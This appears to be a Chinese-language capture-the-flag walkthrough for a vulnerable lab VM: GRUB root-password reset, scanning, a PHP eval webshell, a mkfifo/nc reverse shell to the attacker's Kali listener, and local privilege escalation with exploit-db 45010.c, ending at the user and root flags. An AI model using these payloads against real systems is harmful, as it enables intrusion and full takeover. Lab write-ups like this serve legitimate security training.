目录
导入靶机
点击重试
系统启动时,(长按shift键)显示以下界面 ,选择第二个,回车
选择下面这个,按 e 键
把 recovery nomodeset 删掉,在句尾添加 quiet splash rw init\=/bin/bash
ro/rw表示以只读(ro)/读写(rw)模式挂载根文件系统;
quiet用于设置静默模式;
splash用于设置启动时的屏幕输出;
init用于指定内核挂载根文件系统后运行的第一个用户空间程序的绝对路径(也有文章描述为设置内核执行的初始化进程名)。
修改完成后按F10或ctrl+x启动, 输入passwd修改root密码
重启进入系统,使用刚才修改的root密码进入root权限
使用ifconfig -a或ip addr show获取网卡信息
修改网卡为自己的网卡(这里的自己的网卡不是本机的网卡,而是上面ifconfig -a出来的靶机的网卡)
cd /etc/network/
vi interfaces
修改完成后重启生效(目的是重启DHCP服务)
信息收集
发现 IP
arp-scan -l
发现靶机 IP 是192.168.109.151
kali 的 IP 是 192.168.109.139
目录扫描
dirb http://192.168.109.151/
端口扫描
nmap 192.168.109.151
只有 80 和 21 端口
访问 web
buscar页面就换链接了,在URL处似乎有突破点
漏洞利用
查看当前目录
写入一句话木马
echo '<?php echo "success";eval($_POST["shell"]); ?>' >shell.php
访问 shell.php 验证是否写入成功
发现写入成功
蚁剑连接
拿 shell
保存下面代码为一个 php 文件,重命名为 test.php,上传到靶机的 /var/www/html/site/ 目录下
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.109.139 443 >/tmp/f');?>
在 kali 开启端口监听,然后访问 test.php,然后 python写入交互式shell
nc -nvlp 443
http://192.168.109.151/site/test.php
python3 -c 'import pty;pty.spawn("/bin/bash")'
获取靶机版本信息
uname -a //得到靶机为linux系统
lsb_release -a //得到靶机为16.04的发行版本
这里使用searchsploit找到了对应的提权的文件
这个是一个版本通用的文件,需要传到靶机上编译运行提权
searchsploit ubuntu 16.04 | grep Privilege
nc提权
find / -name 45010.c
cp命令复制文件到桌面
sudo cp /usr/share/exploitdb/exploits/linux/local/45010.c /home/kali/Desktop
因为靶机的原因无法使用监听端口的方法传输文件,直接把 45010.c 从 kali 拖到本机桌面,再用蚁剑上传
gcc 45010.c -o exp
chmod +x exp
./exp
在蚁剑的虚拟终端执行后是没有反应的,必须使用反弹的交互式shell
获取 flag
因为我 kali 的小 bug,这里输入的命令会显示双写,但是不影响命令执行
./exp
cd ../../
cd /home/jangow01
cat user.txt //发现了第1个flag
cd ../../
cd root
cat proof.txt //发现了第2个flag